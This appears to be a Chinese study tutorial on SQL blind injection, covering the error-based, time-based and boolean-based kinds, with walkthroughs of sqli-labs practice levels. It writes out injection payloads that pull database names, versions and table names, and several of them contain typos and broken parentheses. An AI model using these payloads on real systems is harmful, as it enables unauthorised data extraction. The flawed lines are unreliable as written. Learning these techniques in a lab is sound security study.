sql盲注
一、报错盲注
基于报错的SQL盲注–报错回显(强制性报错)函数解析:
(这两个函数在使用过程中,如果第二个参数不是XPath格式,则会报错)
SQL报错注入原理:
报错注入是人为的构造出查询错误,从回显的错误信息中带出需要的数据,
1、updatexml()
从目标XML中更改包含所查询值的字符串
第一个参数: XML_document是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数: new_value,String格式,替换查找到的符合条件的数据
updatexml (XML_document,XPath_String,new_value) ;
'or updatexml(1,concat(Ox7e,database)),0)or'
2、以floor报错注入为例:
count(*)、 rand()、group by三者缺一不可
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()2)有两条记录就会报错
floor(rand(0)2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count()是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count()加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
3、extractvalue()
从目标XML中返回包含所查询值的字符串
第一个参数: XML_document是String格式,为XML文档对象的名称,文中为DOC第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,×Path_String)
' or extractvalue(1,concat(Ox7e,database())) or'
' union select 1,extractvalue(1,concat(Ox7e,(select version())))%23
4、实例(靶场11关)
(1)打开发现只有一个提交表单页面,无论写什么信息进行提交都没有任何结果显示,此时可以利用报错注入
(2)利用burpsuite抓取一次提交信息
(3)判断数据类型,先加一个单引号试试
(4)发现报错,初步判断为单引号。再加一个双引号看结果查看判断是否正确
(5)确定为单引号类型,使用order by确定字段数,直到改为3出现报错,所以有两个字段
(6)使用union 进行报错盲注(查询版本号)
(0x7e:~的十六进制,%23:#的十六进制)
(7)报错盲注(查询数据库名)
(limit 0,1:从0开始取一位)
二、时间盲注
基于时间的SQL盲注–延时判断
1、相关函数:
sleep () :Sleep函数可以使计算机程序(进程,任务或线程)进入休眠
if () ∶if是计算机编程语言一个关键字,分支结构的一种
mid(a,b,c):从b开始,截取a字符串的c位
substr(a,b,c):从b开始,截取字符串a的c长度
left(database(),1),database() :left(a,b)从左侧截取a的前b位
length(database())=8 :判断长度
ascii(x)=100:判断x的ascii值是否为100
2、实例验证
(1)在sql靶场第二关使用sleep函数
#在前边知道第二关数据库名为security,所以会发现在五秒钟之后才会显示此页面
and sleep(if(database()='security'),5,0)
注意:此方法一般不建议使用,因为时间受很多因素的影响
(2)验证length函数
#数据库名为security,长度为8,所以会发现在五秒钟之后才会显示此页面
and sleep(if(length(database()=8),5,0))
(3)验证mid()函数
#数据库名为security,第一个字母不为t,所以会发现在五秒钟之后才会显示此页面
id=1 and sleep(if(mid(database(),1,1)='t',0,5))--+
三、布尔盲注
1、什么是布尔盲注?
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
2、实例(靶场第五关)
(1)通过前边的方法找到注入点和数据类型,发现页面只有正确和错误时两种结果,此时想到布尔盲注。
(2)判断数据库长度
#修改数字从1到8,在8时页面返回正确,确定数据库名长度为8
id=1' and length(database())=1 --+
id=1' and length(database())=8 --+
(3)解数据库(二分法)
#ascii表0-127包含键盘上的所有字符,将其分为两半,先判断与64大小。
id=1' and ascii(mid(database(),1,1))>64--+
#再进一步将65-127一分为二,比较大小
以此类推找到等于的数值,对照ascii码表得到数据库第一个字符为s
#以此类推,猜解剩余字符
#例猜解第二位:
id=1' and ascii(mid(database(),2,1))>64--+
(4)猜解表名(同为二分法)
#推出表名第一个字符为e
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
以此类推,得出表名。
四、总结
1.布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注:根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注人百